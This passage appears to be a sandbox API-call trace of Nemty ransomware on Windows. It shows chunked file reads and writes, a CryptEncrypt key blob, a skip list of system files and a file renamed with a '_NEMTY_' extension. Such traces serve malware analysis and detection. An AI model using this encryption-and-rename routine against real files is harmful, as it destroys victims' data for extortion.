[0146.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.957] CloseHandle (hObject=0xffffffff) returned 0 [0146.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0146.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0146.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html._nemty_kgobjgd_")) returned 0 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0146.957] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0146.957] lstrcmpiW (lpString1="slideShow.html", lpString2=".") returned 1 [0146.957] lstrcmpiW (lpString1="slideShow.html", lpString2="..") returned 1 [0146.957] lstrcmpiW (lpString1="slideShow.html", lpString2="...") returned 1 [0146.957] lstrcmpiW (lpString1="slideShow.html", lpString2="windows") returned -1 [0146.957] lstrcmpiW (lpString1="slideShow.html", lpString2="$RECYCLE.BIN") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="rsa") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="NTDETECT.COM") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="ntldr") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="MSDOS.SYS") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="IO.SYS") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="boot.ini") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="boot.ini") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="AUTOEXEC.BAT") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="ntuser.dat") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="desktop.ini") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="CONFIG.SYS") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="RECYCLER") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="BOOTSECT.BAK") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="bootmgr") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="programdata") returned 1 [0146.958] lstrcmpiW (lpString1="slideShow.html", lpString2="appdata") returned 1 [0146.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.html", lpUsedDefaultChar=0x0) returned 14 [0146.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.html", lpUsedDefaultChar=0x0) returned 14 [0146.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.html", lpUsedDefaultChar=0x0) returned 14 [0146.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideShow.html", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideShow.html", lpUsedDefaultChar=0x0) returned 14 [0146.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0146.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0146.958] Sleep (dwMilliseconds=0x5) [0146.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb3ebe90, dwHighDateTime=0x1d561e8)) [0146.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb3ebe90, dwHighDateTime=0x1d561e8)) [0146.967] GetLastError () returned 0x5 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.967] GetLastError () returned 0x5 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.967] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0146.967] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0146.967] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0146.967] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="+2Vc4Vb4hpLEkAjrDV1bkQ8ht8dO7EloSuCy2A8D9b92yeQfTpK8ZNPotDISYX5T\r\n2sXF1wOjqIhQZHWB2b+E/2BxBbTBIfCoNTUagNQ8wQXj9bCXQAyRlXWbOVvfovJC\r\njgErQmSQHObr1TslWLVi//Q+4LZ1BLL8ZnZMOtqJbRtayhdJNemEDDNYFx0l1RDF\r\nOgCimFPuHyD6MuL965OycKZ6oV5QkFxQAQal3GG3jqzK4rAlRU+nEj5t+sTyMf6Y\r\n/fMV02H55qz2lBiRUSKa2Xfwu9BdBVdHg0m2vsjCBQoqxGLzxVhtA7mP+BWKk6VA\r\nNRAeks8JFDOMk6NJcbO/zA==\r\n", pcchString=0x653e91c) returned 1 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0146.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.967] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.968] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0146.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.024] WriteFile (in: 